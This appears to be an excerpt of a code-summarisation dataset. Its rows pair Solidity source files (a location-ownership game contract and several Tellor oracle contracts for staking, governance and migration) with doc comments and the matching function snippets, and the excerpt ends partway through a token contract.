file_name
stringlengths 71
779k
| comments
stringlengths 0
29.4k
| code_string
stringlengths 20
7.69M
| __index_level_0__
int64 2
17.2M
|
---|---|---|---|
pragma solidity ^0.4.24;
contract MapOwner{
address public manager; // address of admin
address public CEO;
address public CTO;
address public SFC; // address of Skull Fighting contract
event TransferOwnership(address indexed _oldManager, address indexed _newManager);
event SetNewSFC(address _oldSFC, address _newSFC);
modifier onlyManager() {
require(msg.sender == manager
|| msg.sender == SFC
|| msg.sender == CEO
|| msg.sender == CTO);
_;
}
constructor() public {
manager = msg.sender;
CEO = msg.sender;
CTO = msg.sender;
}
// transfer ownership of contract to new address
function transferOwnership(address _newManager) external onlyManager returns (bool) {
require(_newManager != address(0x0));
manager = _newManager;
emit TransferOwnership(msg.sender, _newManager);
return true;
}
function setCEO(address _newCEO) external onlyManager returns (bool) {
require(_newCEO != address(0x0));
CEO = _newCEO;
emit TransferOwnership(msg.sender, _newCEO);
return true;
}
function setCTO(address _newCTO) external onlyManager returns (bool) {
require(_newCTO != address(0x0));
CTO = _newCTO;
emit TransferOwnership(msg.sender, _newCTO);
return true;
}
// Set new SF address
function setNewSF(address _newSFC) external onlyManager returns (bool) {
require(_newSFC != address(0x0));
emit SetNewSFC(SFC, _newSFC);
SFC = _newSFC;
return true;
}
}
contract LocationManagement is MapOwner{
// struct of one location, include: latitude and longitude
struct Location{
uint64 latitude;
uint64 longitude;
}
Location[] locations; // all locations already have verified
// Current location belong to skull
mapping (uint256 => Location[]) locationsOfSkull;
// Show the Id of Skull, which is the boss of this location
mapping (uint256 => uint256) locationIdToSkullId;
event SetNewLocation(address indexed _manager, uint256 _newLocationId, uint64 _lat, uint64 _long);
event UpdateLocationInfo(uint256 _locationId, uint64 _newLat, uint64 _newLong);
event DeleteLocation(uint256 _locationId, uint64 _lat, uint64 _long);
event UserPinNewLocation(address indexed _manager, uint256 _newLocationId, uint64 _lat, uint64 _long);
event SetLocationToNewSkull(uint256 _skullId, uint64 _lat, uint64 _long, uint256 _oldOwnerId);
event DeleteLocationFromSkull(uint256 _skullId, uint64 _lat, uint64 _long);
/// Only Contract's Manager can set new location.
/// By default, when set new location, owner of this location is Skull[0]
function setNewLocation(uint64 _lat, uint64 _long) public onlyManager returns (uint256) {
locations.push(Location({latitude: _lat, longitude: _long}));
uint256 _newId = locations.length - 1; /// Id of new location
if(msg.sender != SFC)
emit SetNewLocation(msg.sender, _newId, _lat, _long);
else{
emit UserPinNewLocation(msg.sender, _newId, _lat, _long);
}
return _newId;
}
/// Only Contract's Manager can set many new locations.
function setNewLocations(uint64[] _arrLat, uint64[] _arrLong) public onlyManager {
require(_arrLat.length == _arrLong.length);
uint256 length = _arrLat.length;
for(uint i = 0; i < length; i++)
{
locations.push(Location({latitude: _arrLat[i], longitude: _arrLong[i]}));
uint256 _newLocationId = locations.length - 1; /// Id of new location
emit SetNewLocation(msg.sender, _newLocationId, _arrLat[i], _arrLong[i]);
}
}
// Update location info
function updateLocationInfo(uint256 _locationId, uint64 _newLat, uint64 _newLong) public onlyManager {
locations[_locationId].latitude = _newLat;
locations[_locationId].longitude = _newLong;
emit UpdateLocationInfo(_locationId, _newLat, _newLong);
}
// Manager can delete illegal location
// We need to check this location have belong to what skull
// if no, we just delete it
// if yes, we need to delete mapping locationsOfSkull on this skull first, and then delete on array locations[]
// When done..
// We set mapping location of skull (last) to new position of location
function deleteLocation(uint256 _locationId) public onlyManager {
require(_locationId < locations.length);
uint256 arrLength = locations.length; // length of array locations[]
uint64 lat = locations[_locationId].latitude;
uint64 long = locations[_locationId].longitude;
// check:
if(_locationId != arrLength-1) // position in mid array
{
if(locationIdToSkullId[_locationId] == 0)
{
locations[_locationId] = locations[arrLength-1];
}
else {
deleteLocationFromSkull(locationIdToSkullId[_locationId], _locationId);
locations[_locationId] = locations[arrLength-1];
}
// set mapping location of skull (last) to new position of location
if(locationIdToSkullId[arrLength-1] != 0)
{
locationIdToSkullId[_locationId] = locationIdToSkullId[arrLength-1];
}
}
else { // position on right and
if(locationIdToSkullId[_locationId] != 0)
{
deleteLocationFromSkull(locationIdToSkullId[_locationId], _locationId);
}
}
delete locations[arrLength-1]; // delete the last location
locations.length--; // sud length by 1
emit DeleteLocation(_locationId, lat, long);
}
// Delete many locations
function deleteLocations(uint64[] _lat, uint64[] _long) public onlyManager {
require(_lat.length == _long.length);
for(uint i = 0; i < _lat.length; i++)
{
for(uint j = 0; j < locations.length; j++)
{
if (_lat[i] == locations[j].latitude && _long[i] == locations[j].longitude)
{
deleteLocation(j);
}
}
}
}
// Get location info by id from array locations[]
function getLocationInfoById(uint256 _locationId) internal view returns (uint64 lat, uint64 long) {
require(_locationId < locations.length);
Location storage location = locations[_locationId];
return (location.latitude, location.longitude);
}
// Get location info by id from array locations[]
function getLocationIdByLatLong(uint64 _lat, uint64 _long) public view returns (uint256 _id) {
for(uint i = 0; i < locations.length; i++)
{
if(_lat == locations[i].latitude && _long == locations[i].longitude){
return i;
}
}
return locations.length;
}
// Total locations are verified
function getTotalLocations() public view returns (uint256) {
return locations.length;
}
///----------------------------------------------------------///
/// Get location information of Skull by index
function getLocationInfoFromSkull(uint256 _skullId, uint _index) public view returns (uint256 locationId, uint64 lat, uint64 long) {
Location storage location = locationsOfSkull[_skullId][_index];
locationId = getLocationIdByLatLong(location.latitude, location.longitude);
return (locationId, location.latitude, location.longitude);
}
/// Get all location of each Skull
function getTotalLocationOfSkull(uint256 _skullId) public view returns (uint) {
return locationsOfSkull[_skullId].length;
}
/// Get Skull ID by Location ID
function getLocationInfo(uint256 _locationId) public view returns(uint256 skullId, uint64 lat, uint64 long) {
uint64 latitude;
uint64 longitude;
(latitude, longitude) = getLocationInfoById(_locationId);
return (locationIdToSkullId[_locationId], latitude, longitude) ;
}
/// Set exist location to new skull
function setLocationToSkull(uint256 _skullId, uint64 _lat, uint64 _long, uint256 _defenceLocationId) public onlyManager{
locationsOfSkull[_skullId].push(Location({latitude: _lat, longitude: _long}));
locationIdToSkullId[_defenceLocationId] = _skullId; //set location to new skully
emit SetLocationToNewSkull(_skullId, _lat, _long, _defenceLocationId);
}
/// Delete exist location in old skull
function deleteLocationFromSkull(uint256 _skullId, uint256 _defenceLocationId) public onlyManager{
uint arrayLength = getTotalLocationOfSkull(_skullId);
Location memory defenceLocation;
(defenceLocation.latitude, defenceLocation.longitude) = getLocationInfoById(_defenceLocationId);
uint i; //find index of defenceLocationId in array of skull
for(i = 0; i < arrayLength; i++)
{
if(locationsOfSkull[_skullId][i].latitude == defenceLocation.latitude && locationsOfSkull[_skullId][i].longitude == defenceLocation.longitude)
break; // already found
}
locationsOfSkull[_skullId][i] = locationsOfSkull[_skullId][arrayLength-1];
delete locationsOfSkull[_skullId][arrayLength-1];
locationsOfSkull[_skullId].length--;
locationIdToSkullId[_defenceLocationId] = 0; // set skull of this location to 0
emit DeleteLocationFromSkull(_skullId, defenceLocation.latitude, defenceLocation.longitude);
}
}
|
Total locations are verified
|
function getTotalLocations() public view returns (uint256) {
return locations.length;
}
| 12,746,324 |
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./TellorStaking.sol";
import "./interfaces/IController.sol";
import "./Transition.sol";
import "./Getters.sol";
/**
@author Tellor Inc.
@title Controller
@dev This is the Controller contract which defines the functionality for
* changing contract addresses, as well as minting and migrating tokens
*/
contract Controller is TellorStaking, Transition, Getters {
// Events
event NewContractAddress(address _newContract, string _contractName);
// Functions
/**
* @dev Saves new Tellor contract addresses. Available to Transition init function after fork vote
* @param _governance is the address of the Governance contract
* @param _oracle is the address of the Oracle contract
* @param _treasury is the address of the Treasury contract
*/
constructor(
address _governance,
address _oracle,
address _treasury
) Transition(_governance, _oracle, _treasury) {}
/**
* @dev Changes Controller contract to a new address
* Note: this function is only callable by the Governance contract.
* @param _newController is the address of the new Controller contract
*/
function changeControllerContract(address _newController) external {
require(
msg.sender == addresses[_GOVERNANCE_CONTRACT],
"Only the Governance contract can change the Controller contract address"
);
require(_isValid(_newController));
addresses[_TELLOR_CONTRACT] = _newController; //name _TELLOR_CONTRACT is hardcoded in
assembly {
sstore(_EIP_SLOT, _newController)
}
emit NewContractAddress(_newController, "Controller");
}
/**
* @dev Changes Governance contract to a new address
* Note: this function is only callable by the Governance contract.
* @param _newGovernance is the address of the new Governance contract
*/
function changeGovernanceContract(address _newGovernance) external {
require(
msg.sender == addresses[_GOVERNANCE_CONTRACT],
"Only the Governance contract can change the Governance contract address"
);
require(_isValid(_newGovernance));
addresses[_GOVERNANCE_CONTRACT] = _newGovernance;
emit NewContractAddress(_newGovernance, "Governance");
}
/**
* @dev Changes Oracle contract to a new address
* Note: this function is only callable by the Governance contract.
* @param _newOracle is the address of the new Oracle contract
*/
function changeOracleContract(address _newOracle) external {
require(
msg.sender == addresses[_GOVERNANCE_CONTRACT],
"Only the Governance contract can change the Oracle contract address"
);
require(_isValid(_newOracle));
addresses[_ORACLE_CONTRACT] = _newOracle;
emit NewContractAddress(_newOracle, "Oracle");
}
/**
* @dev Changes Treasury contract to a new address
* Note: this function is only callable by the Governance contract.
* @param _newTreasury is the address of the new Treasury contract
*/
function changeTreasuryContract(address _newTreasury) external {
require(
msg.sender == addresses[_GOVERNANCE_CONTRACT],
"Only the Governance contract can change the Treasury contract address"
);
require(_isValid(_newTreasury));
addresses[_TREASURY_CONTRACT] = _newTreasury;
emit NewContractAddress(_newTreasury, "Treasury");
}
/**
* @dev Changes a uint for a specific target index
* Note: this function is only callable by the Governance contract.
* @param _target is the index of the uint to change
* @param _amount is the amount to change the given uint to
*/
function changeUint(bytes32 _target, uint256 _amount) external {
require(
msg.sender == addresses[_GOVERNANCE_CONTRACT],
"Only the Governance contract can change the uint"
);
uints[_target] = _amount;
}
/**
* @dev Mints tokens of the sender from the old contract to the sender
*/
function migrate() external {
require(!migrated[msg.sender], "Already migrated");
_doMint(
msg.sender,
IController(addresses[_OLD_TELLOR]).balanceOf(msg.sender)
);
migrated[msg.sender] = true;
}
/**
* @dev Mints TRB to a given receiver address
* @param _receiver is the address that will receive the minted tokens
* @param _amount is the amount of tokens that will be minted to the _receiver address
*/
function mint(address _receiver, uint256 _amount) external {
require(
msg.sender == addresses[_GOVERNANCE_CONTRACT] ||
msg.sender == addresses[_TREASURY_CONTRACT] ||
msg.sender == TELLOR_ADDRESS,
"Only governance, treasury, or master can mint tokens"
);
_doMint(_receiver, _amount);
}
/**
* @dev Used during the upgrade process to verify valid Tellor Contracts
*/
function verify() external pure returns (uint256) {
return 9999;
}
/**
* @dev Used during the upgrade process to verify valid Tellor Contracts and ensure
* they have the right signature
* @param _contract is the address of the Tellor contract to verify
* @return bool of whether or not the address is a valid Tellor contract
*/
function _isValid(address _contract) internal returns (bool) {
(bool _success, bytes memory _data) = address(_contract).call(
abi.encodeWithSelector(0xfc735e99, "") // verify() signature
);
require(
_success && abi.decode(_data, (uint256)) > 9000, // An arbitrary number to ensure that the contract is valid
"New contract is invalid"
);
return true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./Token.sol";
import "./interfaces/IGovernance.sol";
/**
@author Tellor Inc.
@title TellorStaking
@dev This is the TellorStaking contract which defines the functionality for
* updating staking statuses for reporters, including depositing and withdrawing
* stakes.
*/
contract TellorStaking is Token {
// Events
event NewStaker(address _staker);
event StakeWithdrawRequested(address _staker);
event StakeWithdrawn(address _staker);
// Functions
/**
* @dev Changes staking status of a reporter
* Note: this function is only callable by the Governance contract.
* @param _reporter is the address of the reporter to change staking status for
* @param _status is the new status of the reporter
*/
function changeStakingStatus(address _reporter, uint256 _status) external {
require(
IGovernance(addresses[_GOVERNANCE_CONTRACT])
.isApprovedGovernanceContract(msg.sender),
"Only approved governance contract can change staking status"
);
StakeInfo storage stakes = stakerDetails[_reporter];
stakes.currentStatus = _status;
}
/**
* @dev Allows a reporter to submit stake
*/
function depositStake() external {
// Ensure staker has enough balance to stake
require(
balances[msg.sender][balances[msg.sender].length - 1].value >=
uints[_STAKE_AMOUNT],
"Balance is lower than stake amount"
);
// Ensure staker is currently either not staked or locked for withdraw.
// Note that slashed reporters cannot stake again from a slashed address.
require(
stakerDetails[msg.sender].currentStatus == 0 ||
stakerDetails[msg.sender].currentStatus == 2,
"Reporter is in the wrong state"
);
// Increment number of stakers, create new staker, and update dispute fee
uints[_STAKE_COUNT] += 1;
stakerDetails[msg.sender] = StakeInfo({
currentStatus: 1,
startDate: block.timestamp // This resets their stake start date to now
});
emit NewStaker(msg.sender);
IGovernance(addresses[_GOVERNANCE_CONTRACT]).updateMinDisputeFee();
}
/**
* @dev Allows a reporter to request to withdraw their stake
*/
function requestStakingWithdraw() external {
// Ensures reporter is already staked
StakeInfo storage stakes = stakerDetails[msg.sender];
require(stakes.currentStatus == 1, "Reporter is not staked");
// Change status to reflect withdraw request and updates start date for staking
stakes.currentStatus = 2;
stakes.startDate = block.timestamp;
// Update number of stakers and dispute fee
uints[_STAKE_COUNT] -= 1;
IGovernance(addresses[_GOVERNANCE_CONTRACT]).updateMinDisputeFee();
emit StakeWithdrawRequested(msg.sender);
}
/**
* @dev Slashes a reporter and transfers their stake amount to their disputer
* Note: this function is only callable by the Governance contract.
* @param _reporter is the address of the reporter being slashed
* @param _disputer is the address of the disputer receiving the reporter's stake
*/
function slashReporter(address _reporter, address _disputer) external {
require(
IGovernance(addresses[_GOVERNANCE_CONTRACT])
.isApprovedGovernanceContract(msg.sender),
"Only approved governance contract can slash reporter"
);
stakerDetails[_reporter].currentStatus = 5; // Change status of reporter to slashed
// Transfer stake amount of reporter has a balance bigger than the stake amount
if (balanceOf(_reporter) >= uints[_STAKE_AMOUNT]) {
_doTransfer(_reporter, _disputer, uints[_STAKE_AMOUNT]);
}
// Else, transfer all of the reporter's balance
else if (balanceOf(_reporter) > 0) {
_doTransfer(_reporter, _disputer, balanceOf(_reporter));
}
}
/**
* @dev Withdraws a reporter's stake
*/
function withdrawStake() external {
StakeInfo storage _s = stakerDetails[msg.sender];
// Ensure reporter is locked and that enough time has passed
require(block.timestamp - _s.startDate >= 7 days, "7 days didn't pass");
require(_s.currentStatus == 2, "Reporter not locked for withdrawal");
_s.currentStatus = 0; // Updates status to withdrawn
emit StakeWithdrawn(msg.sender);
}
/**GETTERS**/
/**
* @dev Allows users to retrieve all information about a staker
* @param _staker address of staker inquiring about
* @return uint current state of staker
* @return uint startDate of staking
*/
function getStakerInfo(address _staker)
external
view
returns (uint256, uint256)
{
return (
stakerDetails[_staker].currentStatus,
stakerDetails[_staker].startDate
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IController{
function addresses(bytes32) external returns(address);
function uints(bytes32) external returns(uint256);
function burn(uint256 _amount) external;
function changeDeity(address _newDeity) external;
function changeOwner(address _newOwner) external;
function changeTellorContract(address _tContract) external;
function changeControllerContract(address _newController) external;
function changeGovernanceContract(address _newGovernance) external;
function changeOracleContract(address _newOracle) external;
function changeTreasuryContract(address _newTreasury) external;
function changeUint(bytes32 _target, uint256 _amount) external;
function migrate() external;
function mint(address _reciever, uint256 _amount) external;
function init() external;
function getDisputeIdByDisputeHash(bytes32 _hash) external view returns (uint256);
function getLastNewValueById(uint256 _requestId) external view returns (uint256, bool);
function retrieveData(uint256 _requestId, uint256 _timestamp) external view returns (uint256);
function getNewValueCountbyRequestId(uint256 _requestId) external view returns (uint256);
function getAddressVars(bytes32 _data) external view returns (address);
function getUintVar(bytes32 _data) external view returns (uint256);
function totalSupply() external view returns (uint256);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function allowance(address _user, address _spender) external view returns (uint256);
function allowedToTrade(address _user, uint256 _amount) external view returns (bool);
function approve(address _spender, uint256 _amount) external returns (bool);
function approveAndTransferFrom(address _from, address _to, uint256 _amount) external returns(bool);
function balanceOf(address _user) external view returns (uint256);
function balanceOfAt(address _user, uint256 _blockNumber)external view returns (uint256);
function transfer(address _to, uint256 _amount)external returns (bool success);
function transferFrom(address _from,address _to,uint256 _amount) external returns (bool success) ;
function depositStake() external;
function requestStakingWithdraw() external;
function withdrawStake() external;
function changeStakingStatus(address _reporter, uint _status) external;
function slashReporter(address _reporter, address _disputer) external;
function getStakerInfo(address _staker) external view returns (uint256, uint256);
function getTimestampbyRequestIDandIndex(uint256 _requestID, uint256 _index) external view returns (uint256);
function getNewCurrentVariables()external view returns (bytes32 _c,uint256[5] memory _r,uint256 _d,uint256 _t);
//in order to call fallback function
function beginDispute(uint256 _requestId, uint256 _timestamp,uint256 _minerIndex) external;
function unlockDisputeFee(uint256 _disputeId) external;
function vote(uint256 _disputeId, bool _supportsDispute) external;
function tallyVotes(uint256 _disputeId) external;
//test functions
function tipQuery(uint,uint,bytes memory) external;
function getNewVariablesOnDeck() external view returns (uint256[5] memory idsOnDeck, uint256[5] memory tipsOnDeck);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./tellor3/TellorStorage.sol";
import "./TellorVars.sol";
import "./interfaces/IOracle.sol";
import "./interfaces/IController.sol";
/**
@author Tellor Inc.
@title Transition
* @dev The Transition contract links to the Oracle contract and
* allows parties (like Liquity) to continue to use the master
* address to access values. All parties should be reading values
* through this address
*/
contract Transition is TellorStorage, TellorVars {
// Functions
/**
* @dev Saves new Tellor contract addresses. Available to init function after fork vote
* @param _governance is the address of the Governance contract
* @param _oracle is the address of the Oracle contract
* @param _treasury is the address of the Treasury contract
*/
constructor(
address _governance,
address _oracle,
address _treasury
) {
require(_governance != address(0), "must set governance address");
addresses[_GOVERNANCE_CONTRACT] = _governance;
addresses[_ORACLE_CONTRACT] = _oracle;
addresses[_TREASURY_CONTRACT] = _treasury;
}
/**
* @dev Runs once Tellor is migrated over. Changes the underlying storage.
*/
function init() external {
require(
addresses[_GOVERNANCE_CONTRACT] == address(0),
"Only good once"
);
// Set state amount, switch time, and minimum dispute fee
uints[_STAKE_AMOUNT] = 100e18;
uints[_SWITCH_TIME] = block.timestamp;
uints[_MINIMUM_DISPUTE_FEE] = 10e18;
// Define contract addresses
Transition _controller = Transition(addresses[_TELLOR_CONTRACT]);
addresses[_GOVERNANCE_CONTRACT] = _controller.addresses(
_GOVERNANCE_CONTRACT
);
addresses[_ORACLE_CONTRACT] = _controller.addresses(_ORACLE_CONTRACT);
addresses[_TREASURY_CONTRACT] = _controller.addresses(
_TREASURY_CONTRACT
);
// Mint to oracle, parachute, and team operating grant contracts
IController(TELLOR_ADDRESS).mint(
addresses[_ORACLE_CONTRACT],
105120e18
);
IController(TELLOR_ADDRESS).mint(
0xAa304E98f47D4a6a421F3B1cC12581511dD69C55,
105120e18
);
IController(TELLOR_ADDRESS).mint(
0x83eB2094072f6eD9F57d3F19f54820ee0BaE6084,
18201e18
);
}
//Getters
/**
* @dev Allows users to access the number of decimals
*/
function decimals() external pure returns (uint8) {
return 18;
}
/**
* @dev Allows Tellor to read data from the addressVars mapping
* @param _data is the keccak256("variable_name") of the variable that is being accessed.
* These are examples of how the variables are saved within other functions:
* addressVars[keccak256("_owner")]
* addressVars[keccak256("tellorContract")]
* @return address of the requested variable
*/
function getAddressVars(bytes32 _data) external view returns (address) {
return addresses[_data];
}
/**
* @dev Gets all dispute variables
* @param _disputeId to look up
* @return bytes32 hash of dispute
* bool executed where true if it has been voted on
* bool disputeVotePassed
* bool isPropFork true if the dispute is a proposed fork
* address of reportedMiner
* address of reportingParty
* address of proposedForkAddress
* uint256 of requestId
* uint256 of timestamp
* uint256 of value
* uint256 of minExecutionDate
* uint256 of numberOfVotes
* uint256 of blocknumber
* uint256 of minerSlot
* uint256 of quorum
* uint256 of fee
* int256 count of the current tally
*/
function getAllDisputeVars(uint256 _disputeId)
external
view
returns (
bytes32,
bool,
bool,
bool,
address,
address,
address,
uint256[9] memory,
int256
)
{
Dispute storage disp = disputesById[_disputeId];
return (
disp.hash,
disp.executed,
disp.disputeVotePassed,
disp.isPropFork,
disp.reportedMiner,
disp.reportingParty,
disp.proposedForkAddress,
[
disp.disputeUintVars[_REQUEST_ID],
disp.disputeUintVars[_TIMESTAMP],
disp.disputeUintVars[_VALUE],
disp.disputeUintVars[_MIN_EXECUTION_DATE],
disp.disputeUintVars[_NUM_OF_VOTES],
disp.disputeUintVars[_BLOCK_NUMBER],
disp.disputeUintVars[_MINER_SLOT],
disp.disputeUintVars[keccak256("quorum")],
disp.disputeUintVars[_FEE]
],
disp.tally
);
}
/**
* @dev Gets id if a given hash has been disputed
* @param _hash is the sha256(abi.encodePacked(_miners[2],_requestId,_timestamp));
* @return uint256 disputeId
*/
function getDisputeIdByDisputeHash(bytes32 _hash)
external
view
returns (uint256)
{
return disputeIdByDisputeHash[_hash];
}
/**
* @dev Checks for uint variables in the disputeUintVars mapping based on the disputeId
* @param _disputeId is the dispute id;
* @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is
* the variables/strings used to save the data in the mapping. The variables names are
* commented out under the disputeUintVars under the Dispute struct
* @return uint256 value for the bytes32 data submitted
*/
function getDisputeUintVars(uint256 _disputeId, bytes32 _data)
external
view
returns (uint256)
{
return disputesById[_disputeId].disputeUintVars[_data];
}
/**
* @dev Returns the latest value for a specific request ID.
* @param _requestId the requestId to look up
* @return uint256 of the value of the latest value of the request ID
* @return bool of whether or not the value was successfully retrieved
*/
function getLastNewValueById(uint256 _requestId)
external
view
returns (uint256, bool)
{
// Try the new contract first
uint256 _timeCount = IOracle(addresses[_ORACLE_CONTRACT])
.getTimestampCountById(bytes32(_requestId));
if (_timeCount != 0) {
// If timestamps for the ID exist, there is value, so return the value
return (
retrieveData(
_requestId,
IOracle(addresses[_ORACLE_CONTRACT])
.getReportTimestampByIndex(
bytes32(_requestId),
_timeCount - 1
)
),
true
);
} else {
// Else, look at old value + timestamps since mining has not started
Request storage _request = requestDetails[_requestId];
if (_request.requestTimestamps.length != 0) {
return (
retrieveData(
_requestId,
_request.requestTimestamps[
_request.requestTimestamps.length - 1
]
),
true
);
} else {
return (0, false);
}
}
}
/**
* @dev Function is solely for the parachute contract
*/
function getNewCurrentVariables()
external
view
returns (
bytes32 _c,
uint256[5] memory _r,
uint256 _diff,
uint256 _tip
)
{
_r = [uint256(1), uint256(1), uint256(1), uint256(1), uint256(1)];
_diff = 0;
_tip = 0;
_c = keccak256(
abi.encode(
IOracle(addresses[_ORACLE_CONTRACT]).getTimeOfLastNewValue()
)
);
}
/**
* @dev Counts the number of values that have been submitted for the request.
* @param _requestId the requestId to look up
* @return uint256 count of the number of values received for the requestId
*/
function getNewValueCountbyRequestId(uint256 _requestId)
external
view
returns (uint256)
{
// Defaults to new one, but will give old value if new mining has not started
uint256 _val = IOracle(addresses[_ORACLE_CONTRACT])
.getTimestampCountById(bytes32(_requestId));
if (_val > 0) {
return _val;
} else {
return requestDetails[_requestId].requestTimestamps.length;
}
}
/**
* @dev Gets the timestamp for the value based on their index
* @param _requestId is the requestId to look up
* @param _index is the value index to look up
* @return uint256 timestamp
*/
function getTimestampbyRequestIDandIndex(uint256 _requestId, uint256 _index)
external
view
returns (uint256)
{
// Try new contract first, but give old timestamp if new mining has not started
try
IOracle(addresses[_ORACLE_CONTRACT]).getReportTimestampByIndex(
bytes32(_requestId),
_index
)
returns (uint256 _val) {
return _val;
} catch {
return requestDetails[_requestId].requestTimestamps[_index];
}
}
/**
* @dev Getter for the variables saved under the TellorStorageStruct uints variable
* @param _data the variable to pull from the mapping. _data = keccak256("variable_name")
* where variable_name is the variables/strings used to save the data in the mapping.
* The variables names in the TellorVariables contract
* @return uint256 of specified variable
*/
function getUintVar(bytes32 _data) external view returns (uint256) {
return uints[_data];
}
/**
* @dev Getter for if the party is migrated
* @param _addy address of party
* @return bool if the party is migrated
*/
function isMigrated(address _addy) external view returns (bool) {
return migrated[_addy];
}
/**
* @dev Allows users to access the token's name
*/
function name() external pure returns (string memory) {
return "Tellor Tributes";
}
/**
* @dev Retrieve value from oracle based on timestamp
* @param _requestId being requested
* @param _timestamp to retrieve data/value from
* @return uint256 value for timestamp submitted
*/
function retrieveData(uint256 _requestId, uint256 _timestamp)
public
view
returns (uint256)
{
if (_timestamp < uints[_SWITCH_TIME]) {
return requestDetails[_requestId].finalValues[_timestamp];
}
return
_sliceUint(
IOracle(addresses[_ORACLE_CONTRACT]).getValueByTimestamp(
bytes32(_requestId),
_timestamp
)
);
}
/**
* @dev Allows users to access the token's symbol
*/
function symbol() external pure returns (string memory) {
return "TRB";
}
/**
* @dev Getter for the total_supply of tokens
* @return uint256 total supply
*/
function totalSupply() external view returns (uint256) {
return uints[_TOTAL_SUPPLY];
}
/**
* @dev Allows Tellor X to fallback to the old Tellor if there are current open disputes
* (or disputes on old Tellor values)
*/
fallback() external {
address _addr = 0x2754da26f634E04b26c4deCD27b3eb144Cf40582; // Main Tellor address (Harcode this in?)
// Obtain function header from msg.data
bytes4 _function;
for (uint256 i = 0; i < 4; i++) {
_function |= bytes4(msg.data[i] & 0xFF) >> (i * 8);
}
// Ensure that the function is allowed and related to disputes, voting, and dispute fees
require(
_function ==
bytes4(
bytes32(keccak256("beginDispute(uint256,uint256,uint256)"))
) ||
_function == bytes4(bytes32(keccak256("vote(uint256,bool)"))) ||
_function ==
bytes4(bytes32(keccak256("tallyVotes(uint256)"))) ||
_function ==
bytes4(bytes32(keccak256("unlockDisputeFee(uint256)"))),
"function should be allowed"
); //should autolock out after a week (no disputes can begin past a week)
// Calls the function in msg.data from main Tellor address
(bool _result, ) = _addr.delegatecall(msg.data);
assembly {
returndatacopy(0, 0, returndatasize())
switch _result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
// Internal
/**
* @dev Utilized to help slice a bytes variable into a uint
* @param _b is the bytes variable to be sliced
* @return _x of the sliced uint256
*/
function _sliceUint(bytes memory _b) public pure returns (uint256 _x) {
uint256 _number = 0;
for (uint256 _i = 0; _i < _b.length; _i++) {
_number = _number * 2**8;
_number = _number + uint8(_b[_i]);
}
return _number;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./tellor3/TellorStorage.sol";
import "./TellorVars.sol";
import "./interfaces/IOracle.sol";
/**
@author Tellor Inc.
@title Getters
* @dev The Getters contract links to the Oracle contract and
* allows parties to continue to use the master
* address to access bytes values. All parties should be reading values
* through this address
*/
contract Getters is TellorStorage, TellorVars {
// Functions
/**
* @dev Counts the number of values that have been submitted for the request.
* @param _queryId the id to look up
* @return uint256 count of the number of values received for the id
*/
function getNewValueCountbyQueryId(bytes32 _queryId)
public
view
returns (uint256)
{
return (
IOracle(addresses[_ORACLE_CONTRACT]).getTimestampCountById(_queryId)
);
}
/**
* @dev Gets the timestamp for the value based on their index
* @param _queryId is the id to look up
* @param _index is the value index to look up
* @return uint256 timestamp
*/
function getTimestampbyQueryIdandIndex(bytes32 _queryId, uint256 _index)
public
view
returns (uint256)
{
return (
IOracle(addresses[_ORACLE_CONTRACT]).getReportTimestampByIndex(
_queryId,
_index
)
);
}
/**
* @dev Retrieve value from oracle based on timestamp
* @param _queryId being requested
* @param _timestamp to retrieve data/value from
* @return bytes value for timestamp submitted
*/
function retrieveData(bytes32 _queryId, uint256 _timestamp)
public
view
returns (bytes memory)
{
return (
IOracle(addresses[_ORACLE_CONTRACT]).getValueByTimestamp(
_queryId,
_timestamp
)
);
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./tellor3/TellorStorage.sol";
import "./TellorVars.sol";
import "./interfaces/IGovernance.sol";
/**
@author Tellor Inc.
@title Token
@dev Contains the methods related to transfers and ERC20, its storage
* and hashes of tellor variables that are used to save gas on transactions.
*/
contract Token is TellorStorage, TellorVars {
// Events
event Approval(
address indexed _owner,
address indexed _spender,
uint256 _value
); // ERC20 Approval event
event Transfer(address indexed _from, address indexed _to, uint256 _value); // ERC20 Transfer Event
// Functions
/**
* @dev Getter function for remaining spender balance
* @param _user address of party with the balance
* @param _spender address of spender of parties said balance
* @return uint256 Returns the remaining allowance of tokens granted to the _spender from the _user
*/
function allowance(address _user, address _spender)
external
view
returns (uint256)
{
return _allowances[_user][_spender];
}
/**
* @dev This function returns whether or not a given user is allowed to trade a given amount
* and removing the staked amount from their balance if they are staked
* @param _user address of user
* @param _amount to check if the user can spend
* @return bool true if they are allowed to spend the amount being checked
*/
function allowedToTrade(address _user, uint256 _amount)
public
view
returns (bool)
{
if (
stakerDetails[_user].currentStatus != 0 &&
stakerDetails[_user].currentStatus < 5
) {
// Subtracts the stakeAmount from balance if the _user is staked
return (balanceOf(_user) - uints[_STAKE_AMOUNT] >= _amount);
}
return (balanceOf(_user) >= _amount); // Else, check if balance is greater than amount they want to spend
}
/**
* @dev This function approves a _spender an _amount of tokens to use
* @param _spender address
* @param _amount amount the spender is being approved for
* @return bool true if spender approved successfully
*/
function approve(address _spender, uint256 _amount)
external
returns (bool)
{
require(_spender != address(0), "ERC20: approve to the zero address");
_allowances[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @dev This function approves a transfer of _amount tokens from _from to _to
* @param _from is the address the tokens will be transferred from
* @param _to is the address the tokens will be transferred to
* @param _amount is the number of tokens to transfer
* @return bool true if spender approved successfully
*/
function approveAndTransferFrom(
address _from,
address _to,
uint256 _amount
) external returns (bool) {
require(
(IGovernance(addresses[_GOVERNANCE_CONTRACT])
.isApprovedGovernanceContract(msg.sender) ||
msg.sender == addresses[_TREASURY_CONTRACT] ||
msg.sender == addresses[_ORACLE_CONTRACT]),
"Only the Governance, Treasury, or Oracle Contract can approve and transfer tokens"
);
_doTransfer(_from, _to, _amount);
return true;
}
/**
* @dev Gets balance of owner specified
* @param _user is the owner address used to look up the balance
* @return uint256 Returns the balance associated with the passed in _user
*/
